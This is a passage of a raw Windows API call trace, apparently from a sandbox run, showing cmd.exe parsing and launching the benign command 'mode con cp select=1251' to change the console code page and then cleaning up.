dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.443] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0073.443] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.443] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.443] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.444] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0073.444] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.444] GetFileType (hFile=0xe8) returned 0x3 [0073.444] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.445] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.445] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.445] GetFileType (hFile=0xf4) returned 0x3 [0073.445] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.445] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a20c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0073.445] WriteFile (in: hFile=0xf4, lpBuffer=0x4a20c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x18f878, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesWritten=0x18f878*=0x18, lpOverlapped=0x0) returned 1 [0073.445] GetProcessHeap () returned 0x290000 [0073.445] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x4012) returned 0x2acd20 [0073.445] GetProcessHeap () returned 0x290000 [0073.445] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2acd20 | out: hHeap=0x290000) returned 1 [0073.446] _wcsicmp (_String1="mode", _String2=")") returned 68 [0073.446] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0073.446] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0073.446] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0073.446] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0073.446] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0073.446] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0073.446] GetProcessHeap () returned 0x290000 [0073.446] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb0) returned 0x2a97e0 [0073.446] GetProcessHeap () returned 0x290000 [0073.446] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1a) returned 0x2a4610 [0073.447] GetProcessHeap () returned 0x290000 [0073.447] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x38) returned 0x2a6510 [0073.448] GetConsoleOutputCP () returned 0x1b5 [0073.448] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a20bfe0 | out: lpCPInfo=0x4a20bfe0) returned 1 [0073.448] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.448] GetConsoleTitleW (in: lpConsoleTitle=0x18f830, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.449] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0073.449] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0073.449] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0073.449] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0073.449] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0073.449] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0073.449] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0073.449] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0073.449] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0073.449] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0073.449] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0073.449] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0073.449] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0073.449] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0073.449] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0073.449] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0073.450] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0073.450] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0073.450] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0073.450] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0073.450] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0073.450] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0073.450] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0073.450] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0073.450] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0073.450] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0073.450] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0073.450] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0073.450] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0073.450] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0073.450] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0073.450] _wcsicmp (_String1="mode", _String2="START") returned -6 [0073.450] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0073.450] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0073.450] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0073.450] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0073.450] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0073.450] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0073.450] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0073.450] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0073.450] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0073.451] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0073.451] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0073.451] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0073.451] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0073.451] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0073.451] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0073.451] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0073.451] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0073.451] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0073.451] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0073.451] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0073.451] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0073.451] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0073.451] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0073.451] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0073.451] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0073.451] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0073.451] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0073.451] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0073.451] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0073.451] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0073.451] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0073.451] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0073.451] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0073.451] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0073.451] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0073.451] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0073.451] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0073.451] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0073.452] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0073.452] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0073.452] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0073.452] _wcsicmp (_String1="mode", _String2="START") returned -6 [0073.452] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0073.452] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0073.452] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0073.452] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0073.452] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0073.452] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0073.452] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0073.452] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0073.452] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0073.452] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0073.452] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0073.452] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0073.452] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0073.453] GetProcessHeap () returned 0x290000 [0073.453] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x218) returned 0x291ab0 [0073.453] GetProcessHeap () returned 0x290000 [0073.453] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x42) returned 0x2a98a0 [0073.453] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0073.453] GetProcessHeap () returned 0x290000 [0073.453] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x420) returned 0x2a9a80 [0073.453] SetErrorMode (uMode=0x0) returned 0x0 [0073.453] SetErrorMode (uMode=0x1) returned 0x0 [0073.453] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2a9a90, lpFilePart=0x18f0c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18f0c0*="Desktop") returned 0x25 [0073.453] SetErrorMode (uMode=0x0) returned 0x1 [0073.453] GetProcessHeap () returned 0x290000 [0073.453] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9a80, Size=0x66) returned 0x2a9a80 [0073.454] GetProcessHeap () returned 0x290000 [0073.454] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9a80) returned 0x66 [0073.454] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a1ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.454] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.454] GetProcessHeap () returned 0x290000 [0073.454] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x128) returned 0x291cd0 [0073.454] GetProcessHeap () returned 0x290000 [0073.454] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x240) returned 0x2a9b00 [0073.467] GetProcessHeap () returned 0x290000 [0073.467] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9b00, Size=0x12a) returned 0x2a9b00 [0073.467] GetProcessHeap () returned 0x290000 [0073.467] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9b00) returned 0x12a [0073.467] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a1ff360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.467] GetProcessHeap () returned 0x290000 [0073.467] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xe8) returned 0x2a5b70 [0073.467] GetProcessHeap () returned 0x290000 [0073.467] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a5b70, Size=0x7e) returned 0x2a5b70 [0073.467] GetProcessHeap () returned 0x290000 [0073.467] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a5b70) returned 0x7e [0073.474] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.474] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0xffffffffffffffff [0073.475] GetLastError () returned 0x2 [0073.475] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0xffffffffffffffff [0073.475] GetLastError () returned 0x2 [0073.475] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.475] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0x2a5c00 [0073.475] GetProcessHeap () returned 0x290000 [0073.475] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x28) returned 0x2a4640 [0073.475] FindClose (in: hFindFile=0x2a5c00 | out: hFindFile=0x2a5c00) returned 1 [0073.475] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0x2a5c00 [0073.476] GetProcessHeap () returned 0x290000 [0073.476] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a4640, Size=0x8) returned 0x2a98f0 [0073.476] FindClose (in: hFindFile=0x2a5c00 | out: hFindFile=0x2a5c00) returned 1 [0073.476] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0073.476] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0073.476] GetConsoleTitleW (in: lpConsoleTitle=0x18f380, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.476] GetProcessHeap () returned 0x290000 [0073.476] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x21c) returned 0x2a9c40 [0073.476] GetConsoleTitleW (in: lpConsoleTitle=0x2a9c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.476] GetProcessHeap () returned 0x290000 [0073.476] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9c40, Size=0xa8) returned 0x2a9c40 [0073.476] GetProcessHeap () returned 0x290000 [0073.476] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9c40) returned 0xa8 [0073.476] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0073.477] GetProcessHeap () returned 0x290000 [0073.477] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a9c40 | out: hHeap=0x290000) returned 1 [0073.477] InitializeProcThreadAttributeList (in: lpAttributeList=0x18f138, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18f0f8 | out: lpAttributeList=0x18f138, lpSize=0x18f0f8) returned 1 [0073.477] UpdateProcThreadAttribute (in: lpAttributeList=0x18f138, dwFlags=0x0, Attribute=0x60001, lpValue=0x18f0e8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18f138, lpPreviousValue=0x0) returned 1 [0073.477] GetStartupInfoW (in: lpStartupInfo=0x18f250 | out: lpStartupInfo=0x18f250*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0073.478] GetProcessHeap () returned 0x290000 [0073.478] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x20) returned 0x2a4640 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0073.478] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0073.479] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0073.480] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0073.480] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0073.480] GetProcessHeap () returned 0x290000 [0073.480] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a4640 | out: hHeap=0x290000) returned 1 [0073.480] GetProcessHeap () returned 0x290000 [0073.480] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x12) returned 0x2a8900 [0073.480] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x18f170*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18f120 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x18f120*(hProcess=0x54, hThread=0x50, dwProcessId=0x694, dwThreadId=0x754)) returned 1 [0073.490] CloseHandle (hObject=0x50) returned 1 [0073.490] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.490] GetProcessHeap () returned 0x290000 [0073.490] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ac230 | out: hHeap=0x290000) returned 1 [0073.490] GetEnvironmentStringsW () returned 0x2aaa10* [0073.490] GetProcessHeap () returned 0x290000 [0073.490] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xae8) returned 0x2ab500 [0073.490] FreeEnvironmentStringsW (penv=0x2aaa10) returned 1 [0073.490] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77a60000 [0073.490] GetProcAddress (hModule=0x77a60000, lpProcName="NtQueryInformationProcess") returned 0x77ab14a0 [0073.490] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x18ea28, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x18ea28, ReturnLength=0x0) returned 0x0 [0073.491] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd8000, lpBuffer=0x18ea60, nSize=0x380, lpNumberOfBytesRead=0x18ea20 | out: lpBuffer=0x18ea60*, lpNumberOfBytesRead=0x18ea20*=0x380) returned 1 [0073.491] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0076.933] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x18f068 | out: lpExitCode=0x18f068*=0x0) returned 1 [0076.934] CloseHandle (hObject=0x54) returned 1 [0076.934] _vsnwprintf (in: _Buffer=0x18f2d8, _BufferCount=0x13, _Format="%08X", _ArgList=0x18f078 | out: _Buffer="00000000") returned 8 [0076.934] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0076.934] GetProcessHeap () returned 0x290000 [0076.934] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ab500 | out: hHeap=0x290000) returned 1 [0076.934] GetEnvironmentStringsW () returned 0x2aaa10* [0076.934] GetProcessHeap () returned 0x290000 [0076.934] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb0e) returned 0x2aeb10 [0076.934] FreeEnvironmentStringsW (penv=0x2aaa10) returned 1 [0076.934] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.934] GetProcessHeap () returned 0x290000 [0076.934] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2aeb10 | out: hHeap=0x290000) returned 1 [0076.934] GetEnvironmentStringsW () returned 0x2aaa10* [0076.935] GetProcessHeap () returned 0x290000 [0076.935] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb0e) returned 0x2aeb10 [0076.935] FreeEnvironmentStringsW (penv=0x2aaa10) returned 1 [0076.935] GetProcessHeap () returned 0x290000 [0076.935] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a8900 | out: hHeap=0x290000) returned 1 [0076.935] DeleteProcThreadAttributeList (in: lpAttributeList=0x18f138 | out: lpAttributeList=0x18f138) [0077.245] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0077.418] _get_osfhandle (_FileHandle=1) returned 0xf4 [0077.418] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0077.418] _get_osfhandle (_FileHandle=1) returned 0xf4 [0077.418] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a1fe194 | out: lpMode=0x4a1fe194) returned 0 [0077.419] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.419] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a1fe198 | out: lpMode=0x4a1fe198) returned 0 [0077.419] GetConsoleOutputCP () returned 0x4e3 [0077.419] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a20bfe0 | out: lpCPInfo=0x4a20bfe0) returned 1 [0077.420] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.420] GetProcessHeap () returned 0x290000 [0077.420] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a5b70 | out: hHeap=0x290000) returned 1 [0077.420] GetProcessHeap () returned 0x290000 [0077.420] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a9b00 | out: hHeap=0x290000) returned 1 [0077.421] GetProcessHeap () returned 0x290000 [0077.421] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x291cd0 | out: hHeap=0x290000) returned 1 [0077.421] GetProcessHeap () returned 0x290000 [0077.421] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a9a80 | out: hHeap=0x290000) returned 1 [0077.421] GetProcessHeap () returned 0x290000 [0077.421] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a98a0 | out: hHeap=0x290000) returned 1 [0077.421] GetProcessHeap () returned 0x290000 [0077.421] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x291ab0 | out: hHeap=0x290000) returned 1 [0077.421] GetProcessHeap () returned 0x290000 [0077.421] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a6510 | out: hHeap=0x290000) returned 1 [0077.421] GetProcessHeap () returned 0x290000 [0077.422] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a4610 | out: hHeap=0x290000) returned 1 [0077.422] GetProcessHeap () returned 0x290000 [0077.422] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a97e0 | out: hHeap=0x290000) returned 1 [0077.422] _vsnwprintf (in: _Buffer=0x4a216340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f598 | out: _Buffer="\r\n") returned 2 [0077.422] _get_osfhandle (_FileHandle=1) returned 0xf4 [0077.422] GetFileType (hFile=0xf4) returned 0x3 [0077.422] _get_osfhandle (_FileHandle=1) returned 0xf4 [0077.423] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a20c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.423] WriteFile (in: hFile=0xf4, lpBuffer=0x4a20c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18f568, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesWritten=0x18f568*=0x2, lpOverlapped=0x0) returned 1 [0077.423] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a1ff360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0077.423] GetCurrentDirectoryW (in: nBufferLength=0x104, 